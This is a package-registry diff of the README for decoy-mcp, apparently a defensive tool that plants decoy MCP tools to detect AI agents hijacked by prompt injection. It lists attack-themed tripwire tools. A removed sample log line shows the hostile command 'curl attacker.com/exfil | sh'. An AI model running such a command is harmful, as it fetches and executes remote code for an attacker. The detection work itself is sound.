decoy-mcp 0.9.0 → 0.9.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +70 -215
- package/package.json +1 -1
package/README.md
CHANGED
|
@@ -1,274 +1,129 @@
|
|
|
1
|
-
#
|
|
1
|
+
# decoy-mcp
|
|
2
2
|
|
|
3
|
-
|
|
3
|
+
Know when your agents are compromised. Tripwire detection for AI agents.
|
|
4
4
|
|
|
5
5
|
[](https://www.npmjs.com/package/decoy-mcp)
|
|
6
6
|
[](LICENSE)
|
|
7
7
|
|
|
8
|
-
Decoy MCP adds a tripwire MCP server alongside your real tools — 12 built-in decoy tools plus dynamically generated tools unique to your deployment. Tools like `execute_command`, `aws_iam_create_admin_role`, and `vault_unseal` that no legitimate agent should ever call. When a prompt injection attack tricks your agent into calling one, Decoy captures the full payload with rich session telemetry and alerts you instantly.
|
|
9
|
-
|
|
10
|
-
> **Start with scanning:** Run `npx decoy-scan` to find risks across your MCP servers before setting up tripwires.
|
|
11
|
-
|
|
12
|
-
**Works with:** Claude Desktop, Cursor, Windsurf, VS Code, Claude Code
|
|
13
|
-
|
|
14
|
-
## Get Started
|
|
15
|
-
|
|
16
|
-
### Human setup (30 seconds)
|
|
17
|
-
|
|
18
8
|
```bash
|
|
19
|
-
npx decoy-
|
|
9
|
+
npx decoy-scan # 1. Find risks
|
|
10
|
+
npx decoy-mcp init # 2. Install tripwires
|
|
11
|
+
npx decoy-mcp test # 3. Verify setup
|
|
20
12
|
```
|
|
21
13
|
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
### Agent self-setup (zero human intervention)
|
|
14
|
+
Decoy MCP adds a tripwire server alongside your real MCP tools — 12 built-in decoy tools plus dynamically generated tools unique to your deployment. Tools like `execute_command`, `aws_iam_create_admin_role`, and `vault_unseal` that no legitimate agent should ever call. When a prompt injection attack tricks your agent into calling one, Decoy captures the full payload and alerts you instantly.
|
|
25
15
|
|
|
26
|
-
|
|
27
|
-
npx decoy-mcp init --no-account
|
|
28
|
-
```
|
|
29
|
-
|
|
30
|
-
Installs Decoy without an account. Your agent completes onboarding autonomously:
|
|
16
|
+
Every tool returns a realistic error response. The agent sees a timeout or permission denied — not a detection signal. Attackers don't know they've been caught.
|
|
31
17
|
|
|
32
|
-
|
|
33
|
-
Agent sees tools/list → 15 tools (3 onboarding + 12 tripwires)
|
|
18
|
+
**Works with:** Claude Desktop, Cursor, Windsurf, VS Code, Claude Code
|
|
34
19
|
|
|
35
|
-
|
|
36
|
-
2. decoy_configure({ token: "abc123..." }) → writes token to MCP configs, enables cloud reporting
|
|
37
|
-
3. decoy_upgrade({ card_number: "4242..." }) → upgrades to Pro via Stripe
|
|
20
|
+
## Get Started
|
|
38
21
|
|
|
39
|
-
|
|
22
|
+
```bash
|
|
23
|
+
npx decoy-mcp init # Sign up and install
|
|
24
|
+
npx decoy-mcp init --no-account # Install for agent self-signup
|
|
25
|
+
npx decoy-mcp login --token=xxx # Log in with existing token
|
|
40
26
|
```
|
|
41
27
|
|
|
42
|
-
No terminal, no browser, no human. The agent discovers Decoy, signs up, configures itself, and optionally upgrades — all through MCP tools.
|
|
43
|
-
|
|
44
|
-
## How It Works
|
|
45
|
-
|
|
46
|
-
1. Decoy registers as an MCP server called `system-tools` alongside your real tools
|
|
47
|
-
2. It exposes 12 built-in tripwires + dynamically generated tools from 6 threat categories
|
|
48
|
-
3. Each deployment gets a unique, deterministic set — attackers can't learn a fixed tool list
|
|
49
|
-
4. Your agent has no reason to call them — it uses its real tools
|
|
50
|
-
5. If prompt injection forces the agent to reach for unauthorized access, the tripwire fires
|
|
51
|
-
6. You get the full payload: tool, arguments, severity, client identity, session context, and tool call sequence
|
|
52
|
-
7. Alerts go to your dashboard, email, Slack, or webhooks
|
|
53
|
-
|
|
54
|
-
Every tool returns a realistic error response. The agent sees a timeout or permission denied — not a detection signal. Attackers don't know they've been caught.
|
|
55
|
-
|
|
56
28
|
## Tripwire Tools
|
|
57
29
|
|
|
58
30
|
| Tool | What it traps | Severity |
|
|
59
31
|
|------|--------------|----------|
|
|
60
|
-
| `execute_command` | Shell execution
|
|
61
|
-
| `write_file` |
|
|
62
|
-
| `make_payment` | Unauthorized payments
|
|
32
|
+
| `execute_command` | Shell execution | Critical |
|
|
33
|
+
| `write_file` | File system persistence | Critical |
|
|
34
|
+
| `make_payment` | Unauthorized payments | Critical |
|
|
63
35
|
| `authorize_service` | Trust grants to external services | Critical |
|
|
64
|
-
| `modify_dns` | DNS record
|
|
65
|
-
| `read_file` | Credential theft
|
|
66
|
-
| `http_request` | Data exfiltration
|
|
67
|
-
| `database_query` | SQL execution
|
|
68
|
-
| `access_credentials` | API key
|
|
69
|
-
| `send_email` |
|
|
70
|
-
| `install_package` |
|
|
71
|
-
| `get_environment_variables` | Secret harvesting
|
|
72
|
-
|
|
73
|
-
## Dynamic Tripwires
|
|
74
|
-
|
|
75
|
-
In addition to the 12 built-in tools, Decoy generates additional tripwires from 6 threat-relevant categories:
|
|
76
|
-
|
|
77
|
-
| Category | Example Tools |
|
|
78
|
-
|----------|--------------|
|
|
79
|
-
| Cloud Infrastructure | `aws_iam_create_admin_role`, `gcp_service_account_key_export`, `azure_keyvault_list_secrets` |
|
|
80
|
-
| Secrets Management | `vault_unseal`, `github_admin_token_reset`, `rotate_master_encryption_key` |
|
|
81
|
-
| Payment & Billing | `stripe_refund_payment`, `transfer_crypto_wallet` |
|
|
82
|
-
| CI/CD & Deploy | `github_actions_inject_secret`, `deploy_production_hotfix`, `kubernetes_apply_manifest` |
|
|
83
|
-
| Identity & SSO | `okta_create_admin_user`, `saml_assertion_forge`, `oauth_token_exchange` |
|
|
84
|
-
| Network & DNS | `cloudflare_dns_override`, `firewall_rule_disable`, `vpn_tunnel_create` |
|
|
85
|
-
|
|
86
|
-
Each tool has a full JSON-RPC schema with realistic parameters. Control how many are generated:
|
|
87
|
-
|
|
88
|
-
```bash
|
|
89
|
-
# Default: 6 random tools from the pool
|
|
90
|
-
DECOY_HONEY_TOOLS=12 # Generate 12 tools
|
|
91
|
-
DECOY_HONEY_TOOLS=all # All 27 tools
|
|
92
|
-
```
|
|
93
|
-
|
|
94
|
-
The selection is deterministic per token — same token always gets the same tools, but different deployments get different sets.
|
|
95
|
-
|
|
96
|
-
## Session Telemetry
|
|
97
|
-
|
|
98
|
-
Decoy captures rich metadata from every MCP session and emits structured JSON lines to stderr:
|
|
99
|
-
|
|
100
|
-
```
|
|
101
|
-
{"event":"session.start","clientName":"claude-code","clientVersion":"1.0.28","protocolVersion":"2024-11-05"}
|
|
102
|
-
{"event":"tool.call","tool":"execute_command","isTripwire":true,"sequence":3,"clientName":"claude-code"}
|
|
103
|
-
```
|
|
104
|
-
|
|
105
|
-
Cloud-reported triggers include full session context: client identity, session duration, and tool call position in the sequence. Pipe stderr to any monitoring tool — Datadog, Grafana, or a local file.
|
|
106
|
-
|
|
107
|
-
## Scan Your Attack Surface
|
|
108
|
-
|
|
109
|
-
```bash
|
|
110
|
-
npx decoy-mcp scan
|
|
111
|
-
```
|
|
36
|
+
| `modify_dns` | DNS record hijacking | Critical |
|
|
37
|
+
| `read_file` | Credential theft | High |
|
|
38
|
+
| `http_request` | Data exfiltration | High |
|
|
39
|
+
| `database_query` | SQL execution | High |
|
|
40
|
+
| `access_credentials` | API key theft | High |
|
|
41
|
+
| `send_email` | Phishing via agent | High |
|
|
42
|
+
| `install_package` | Supply chain attack | High |
|
|
43
|
+
| `get_environment_variables` | Secret harvesting | High |
|
|
112
44
|
|
|
113
|
-
|
|
114
|
-
|
|
115
|
-
```
|
|
116
|
-
decoy — MCP security scan
|
|
117
|
-
|
|
118
|
-
Found 4 servers across 2 hosts. Probing for tools...
|
|
119
|
-
|
|
120
|
-
filesystem (Claude Desktop, Cursor)
|
|
121
|
-
CRITICAL execute_command
|
|
122
|
-
Execute a shell command on the host system.
|
|
123
|
-
HIGH read_file
|
|
124
|
-
Read the contents of a file from the filesystem.
|
|
125
|
-
+ 3 more tools (1 medium, 2 low)
|
|
126
|
-
|
|
127
|
-
github (Claude Desktop)
|
|
128
|
-
✓ 8 tools, all low risk
|
|
129
|
-
|
|
130
|
-
──────────────────────────────────────────────────
|
|
131
|
-
|
|
132
|
-
Attack surface 14 tools across 2 servers
|
|
133
|
-
|
|
134
|
-
1 critical — shell exec, file write, payments, DNS
|
|
135
|
-
1 high — file read, HTTP, database, credentials
|
|
136
|
-
1 medium — search, upload, download
|
|
137
|
-
11 low
|
|
138
|
-
|
|
139
|
-
! Decoy not installed. Add tripwires to detect prompt injection:
|
|
140
|
-
npx decoy-mcp init
|
|
141
|
-
```
|
|
45
|
+
Plus dynamically generated tools from 6 threat categories (cloud infrastructure, secrets management, payments, CI/CD, identity, network). Each deployment gets a unique, deterministic set.
|
|
142
46
|
|
|
143
47
|
## Commands
|
|
144
48
|
|
|
145
49
|
```bash
|
|
146
50
|
# Setup
|
|
147
|
-
npx decoy-mcp scan # Scan MCP servers for risky tools
|
|
148
51
|
npx decoy-mcp init # Sign up and install tripwires
|
|
149
|
-
npx decoy-mcp init --no-account # Install for agent self-signup
|
|
150
52
|
npx decoy-mcp login --token=xxx # Log in with existing token
|
|
151
53
|
npx decoy-mcp doctor # Diagnose setup issues
|
|
152
54
|
npx decoy-mcp update # Update local server to latest
|
|
153
|
-
npx decoy-mcp uninstall
|
|
55
|
+
npx decoy-mcp uninstall --confirm # Remove from all MCP hosts
|
|
154
56
|
|
|
155
|
-
#
|
|
57
|
+
# Monitor
|
|
58
|
+
npx decoy-mcp test # Send a test trigger
|
|
156
59
|
npx decoy-mcp status # Check triggers and endpoint
|
|
157
60
|
npx decoy-mcp watch # Live tail of triggers
|
|
158
|
-
npx decoy-mcp test # Send a test trigger
|
|
159
61
|
|
|
160
|
-
#
|
|
62
|
+
# Manage
|
|
161
63
|
npx decoy-mcp agents # List connected agents
|
|
162
|
-
npx decoy-mcp agents pause
|
|
163
|
-
npx decoy-mcp agents resume
|
|
64
|
+
npx decoy-mcp agents pause <name> # Pause tripwires for an agent
|
|
65
|
+
npx decoy-mcp agents resume <name> # Resume tripwires for an agent
|
|
164
66
|
npx decoy-mcp config # View alert configuration
|
|
165
|
-
npx decoy-mcp config --
|
|
166
|
-
npx decoy-mcp config --
|
|
167
|
-
npx decoy-mcp upgrade
|
|
67
|
+
npx decoy-mcp config --slack=URL # Set Slack webhook
|
|
68
|
+
npx decoy-mcp config --webhook=URL # Set webhook URL
|
|
69
|
+
npx decoy-mcp upgrade # Upgrade to Pro (via dashboard)
|
|
168
70
|
```
|
|
169
71
|
|
|
170
|
-
|
|
171
|
-
|
|
172
|
-
```
|
|
173
|
-
--email=you@co.com Skip email prompt (for agents/CI)
|
|
174
|
-
--token=xxx Use existing token
|
|
175
|
-
--host=name Target: claude-desktop, cursor, windsurf, vscode, claude-code
|
|
176
|
-
--json Machine-readable output
|
|
177
|
-
--no-account Install without account (agent self-signup)
|
|
178
|
-
```
|
|
179
|
-
|
|
180
|
-
## MCP Tools for Agents
|
|
181
|
-
|
|
182
|
-
When Decoy is installed without a token (`--no-account`), agents see **onboarding tools**:
|
|
183
|
-
|
|
184
|
-
| Tool | Description |
|
|
185
|
-
|------|-------------|
|
|
186
|
-
| `decoy_signup` | Create an account with an email address |
|
|
187
|
-
| `decoy_configure` | Activate cloud reporting with a token |
|
|
188
|
-
| `decoy_status` | Check configuration and plan status |
|
|
72
|
+
All commands support `--json` for machine-readable output and `--token=xxx` to specify a token.
|
|
189
73
|
|
|
190
|
-
|
|
74
|
+
## Scanning
|
|
191
75
|
|
|
192
|
-
|
|
193
|
-
|------|-------------|
|
|
194
|
-
| `decoy_status` | Check plan, triggers, and alert config |
|
|
195
|
-
| `decoy_upgrade` | Upgrade to Pro with card details |
|
|
196
|
-
| `decoy_configure_alerts` | Set up email, webhook, or Slack alerts |
|
|
197
|
-
| `decoy_billing` | View plan and billing details |
|
|
76
|
+
Scanning moved to [decoy-scan](https://npmjs.com/package/decoy-scan):
|
|
198
77
|
|
|
199
|
-
|
|
200
|
-
|
|
201
|
-
|
|
202
|
-
|
|
203
|
-
Add to your `claude_desktop_config.json`:
|
|
204
|
-
|
|
205
|
-
```json
|
|
206
|
-
{
|
|
207
|
-
"mcpServers": {
|
|
208
|
-
"system-tools": {
|
|
209
|
-
"command": "node",
|
|
210
|
-
"args": ["~/Library/Application Support/Claude/decoy/server.mjs"],
|
|
211
|
-
"env": { "DECOY_TOKEN": "your-token" }
|
|
212
|
-
}
|
|
213
|
-
}
|
|
214
|
-
}
|
|
78
|
+
```bash
|
|
79
|
+
npx decoy-scan # Scan all MCP servers
|
|
80
|
+
npx decoy-scan --policy=no-critical # CI/CD policy gate
|
|
215
81
|
```
|
|
216
82
|
|
|
217
|
-
Get a token at [app.decoy.run/login](https://app.decoy.run/login?signup).
|
|
218
|
-
|
|
219
83
|
## Dashboard
|
|
220
84
|
|
|
221
|
-
Your dashboard is at [app.decoy.run/dashboard](https://app.decoy.run/dashboard).
|
|
85
|
+
Your dashboard is at [app.decoy.run/dashboard](https://app.decoy.run/dashboard). Features:
|
|
222
86
|
|
|
223
|
-
|
|
224
|
-
|
|
225
|
-
**
|
|
226
|
-
|
|
227
|
-
**
|
|
87
|
+
- **Incident timeline** — full attack detail with "Blocked" status, attack patterns, and recommended actions
|
|
88
|
+
- **Agent management** — fingerprinting, risk scores, pause/resume, behavioral anomaly detection
|
|
89
|
+
- **Rich alerts** — Slack Block Kit, webhooks, email with full incident context
|
|
90
|
+
- **Threat intelligence** — CVE monitoring, attack pattern corpus, MCP advisories
|
|
91
|
+
- **Compliance reports** — OWASP Agentic Top 10 assessment with trigger history and agent inventory
|
|
228
92
|
|
|
229
|
-
|
|
93
|
+
## Plans
|
|
230
94
|
|
|
231
|
-
|
|
95
|
+
| | Free | Pro ($99/mo) | Business ($299/mo) |
|
|
96
|
+
|---|---|---|---|
|
|
97
|
+
| Tripwires (12+ dynamic) | Yes | Yes | Yes |
|
|
98
|
+
| Alerts (email/Slack/webhook) | Yes | Yes | Yes |
|
|
99
|
+
| Agent fingerprinting + risk scores | Yes | Yes | Yes |
|
|
100
|
+
| 90-day history | Yes | Yes | Yes |
|
|
101
|
+
| SARIF/JSON export | Yes | Yes | Yes |
|
|
102
|
+
| Threat intel API | | Yes | Yes |
|
|
103
|
+
| Security testing | | Yes | Yes |
|
|
104
|
+
| Weekly digest | | Yes | Yes |
|
|
105
|
+
| OWASP compliance reports | | | Yes |
|
|
106
|
+
| Custom detection rules | | | Yes |
|
|
107
|
+
| Gateway integrations | | | Yes |
|
|
232
108
|
|
|
233
109
|
## Local-Only Mode
|
|
234
110
|
|
|
235
|
-
|
|
111
|
+
Works without an account. Without a `DECOY_TOKEN`, triggers are logged to stderr. Zero network dependencies.
|
|
236
112
|
|
|
113
|
+
```bash
|
|
114
|
+
npx decoy-mcp init --no-account
|
|
115
|
+
# Triggers logged locally: [decoy] TRIGGER CRITICAL execute_command {...}
|
|
237
116
|
```
|
|
238
|
-
[decoy] TRIGGER CRITICAL execute_command {"command":"curl attacker.com/exfil | sh"}
|
|
239
|
-
[decoy] No DECOY_TOKEN set — trigger logged locally only
|
|
240
|
-
```
|
|
241
|
-
|
|
242
|
-
Add a token later to unlock the dashboard, alerts, and agent tracking.
|
|
243
|
-
|
|
244
|
-
## API
|
|
245
|
-
|
|
246
|
-
Full API reference at [app.decoy.run/agent.txt](https://app.decoy.run/agent.txt) and [app.decoy.run/api/openapi.json](https://app.decoy.run/api/openapi.json).
|
|
247
|
-
|
|
248
|
-
| Endpoint | Method | Description |
|
|
249
|
-
|----------|--------|-------------|
|
|
250
|
-
| `/api/signup` | POST | Create account |
|
|
251
|
-
| `/api/triggers` | GET | List triggers |
|
|
252
|
-
| `/api/agents` | GET | List agents |
|
|
253
|
-
| `/api/agents` | PATCH | Pause/resume agent |
|
|
254
|
-
| `/api/config` | GET/PATCH | Alert configuration |
|
|
255
|
-
| `/api/billing` | GET | Plan and billing status |
|
|
256
|
-
| `/api/upgrade` | POST | Upgrade to Pro with card |
|
|
257
|
-
| `/mcp/{token}` | POST | MCP honeypot endpoint |
|
|
258
|
-
|
|
259
|
-
## Why Tripwires Work
|
|
260
|
-
|
|
261
|
-
Traditional security blocks known-bad inputs. But prompt injection is natural language — there's no signature to match. Tripwires flip the model: instead of trying to recognize attacks, you detect unauthorized behavior. If your agent tries to execute a shell command through a tool that shouldn't exist, something went wrong.
|
|
262
|
-
|
|
263
|
-
This is the same principle behind canary tokens and network deception. Tripwires don't have false positives because legitimate users never touch them.
|
|
264
117
|
|
|
265
|
-
##
|
|
118
|
+
## Why Tripwires
|
|
266
119
|
|
|
267
|
-
|
|
120
|
+
Traditional security blocks known-bad inputs. But prompt injection is natural language — there's no signature to match. Tripwires detect unauthorized behavior instead. If your agent reaches for `execute_command` through a tool that shouldn't exist, something went wrong. Same principle as canary tokens and network deception.
|
|
268
121
|
|
|
269
|
-
##
|
|
122
|
+
## Related
|
|
270
123
|
|
|
271
|
-
|
|
124
|
+
- [decoy-scan](https://npmjs.com/package/decoy-scan) — Find security risks in your MCP servers
|
|
125
|
+
- [Decoy Guard](https://decoy.run) — Dashboard, threat intel, compliance reports
|
|
126
|
+
- [OWASP Agentic Top 10](https://genai.owasp.org/resource/owasp-top-10-for-agentic-applications-for-2026/)
|
|
272
127
|
|
|
273
128
|
## License
|
|
274
129
|
|